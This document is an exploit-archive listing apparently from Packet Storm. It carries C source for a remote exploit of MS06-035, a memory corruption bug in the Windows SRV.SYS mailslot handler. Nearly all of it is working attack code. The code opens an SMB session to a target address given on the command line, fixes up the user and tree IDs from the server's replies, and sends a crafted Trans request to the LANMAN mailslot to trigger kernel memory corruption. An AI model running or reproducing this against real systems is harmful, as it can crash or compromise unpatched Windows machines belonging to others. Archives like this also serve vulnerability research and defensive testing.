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ms06-035-coco.txt

🗓️ 24 Jul 2006 00:00:00Reported by cocoruderType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Microsoft SRV.SYS Mailslot Ring0 Memory Corruption(MS06-035) Exploit by cocoruder, 2006.7.1

Code
`#include <stdio.h>  
#include <windows.h>  
#include <winsock.h>  
  
/*******************************************************************  
Microsoft SRV.SYS Mailslot Ring0 Memory Corruption(MS06-035) Exploit  
  
by cocoruder(frankruder_at_hotmail.com),2006.7.19  
page:http://ruder.cdut.net  
*******************************************************************/  
  
  
unsigned char SmbNeg[] =  
"\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x88\x05\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54"  
"\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00";  
  
unsigned char Session_Setup_AndX_Request[]=  
"\x00\x00\x00\x48\xff\x53\x4d\x42\x73\x00"  
"\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\xff\xff\x88\x05\x00\x00\x00\x00\x0d\xff\x00\x00\x00\xff"  
"\xff\x02\x00\x88\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x6e\x74\x00\x70\x79\x73\x6d"  
"\x62\x00";  
  
unsigned char TreeConnect_AndX_Request[]=  
"\x00\x00\x00\x58\xff\x53\x4d\x42\x75\x00"  
"\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\xff\xfe\x00\x08\x00\x03\x04\xff\x00\x58\x00\x08"  
"\x00\x01\x00\x2d\x00\x00\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00"  
"\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x36\x00"  
"\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f\x3f"  
"\x3f\x00";  
  
unsigned char Trans_Request[]=  
"\x00\x00\x00\x56\xff\x53\x4d\x42\x25\x00"  
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x08\x88\x05\x00\x08\x00\x00\x11\x00\x00\x01\x00\x00"  
"\x04\xe0\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55"  
"\x00\x01\x00\x55\x00\x03\x00\x01\x00\x00\x00\x00\x00\x11\x00\x5c"  
"\x4d\x41\x49\x4c\x53\x4c\x4f\x54\x5c\x4c\x41\x4e\x4d\x41\x4e\x41";  
  
  
unsigned char recvbuff[2048];  
  
  
  
  
  
void neg ( int s )  
{  
char response[1024];  
  
memset(response,0,sizeof(response));  
  
send(s,(char *)SmbNeg,sizeof(SmbNeg)-1,0);  
}  
  
void main(int argc,char **argv)  
{  
struct sockaddr_in server;  
SOCKET sock;  
DWORD ret;  
WSADATA ws;  
  
WORD userid,treeid;  
  
  
WSAStartup(MAKEWORD(2,2),&ws);  
  
sock = socket(AF_INET,SOCK_STREAM,0);  
if(sock<=0)  
{  
return;  
}  
  
server.sin_family = AF_INET;  
server.sin_addr.s_addr = inet_addr(argv[1]);  
server.sin_port = htons((USHORT)atoi(argv[2]));  
  
ret=connect(sock,(struct sockaddr *)&server,sizeof(server));  
if (ret==-1)  
{  
printf("connect error!\n");  
return;  
}  
  
neg(sock);  
  
recv(sock,(char *)recvbuff,sizeof(recvbuff),0);  
  
ret=send(sock,(char *)Session_Setup_AndX_Request,sizeof(Session_Setup_AndX_Request)-1,0);  
if (ret<=0)  
{  
printf("send Session_Setup_AndX_Request error!\n");  
return;  
}  
recv(sock,(char *)recvbuff,sizeof(recvbuff),0);  
  
userid=*(WORD *)(recvbuff+0x20); //get userid  
  
  
memcpy(TreeConnect_AndX_Request+0x20,(char *)&userid,2); //update userid  
  
  
ret=send(sock,(char *)TreeConnect_AndX_Request,sizeof(TreeConnect_AndX_Request)-1,0);  
if (ret<=0)  
{  
printf("send TreeConnect_AndX_Request error!\n");  
return;  
}  
recv(sock,(char *)recvbuff,sizeof(recvbuff),0);  
  
treeid=*(WORD *)(recvbuff+0x1c); //get treeid  
  
memcpy(Trans_Request+0x20,(char *)&userid,2); //update userid  
memcpy(Trans_Request+0x1c,(char *)&treeid,2); //update treeid  
  
ret=send(sock,(char *)Trans_Request,sizeof(Trans_Request)-1,0);  
if (ret<=0)  
{  
printf("send Trans_Request error!\n");  
return;  
}  
recv(sock,(char *)recvbuff,sizeof(recvbuff),0);  
  
}  
  
  
`

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24 Jul 2006 00:00Current
7.4High risk
Vulners AI Score7.4
19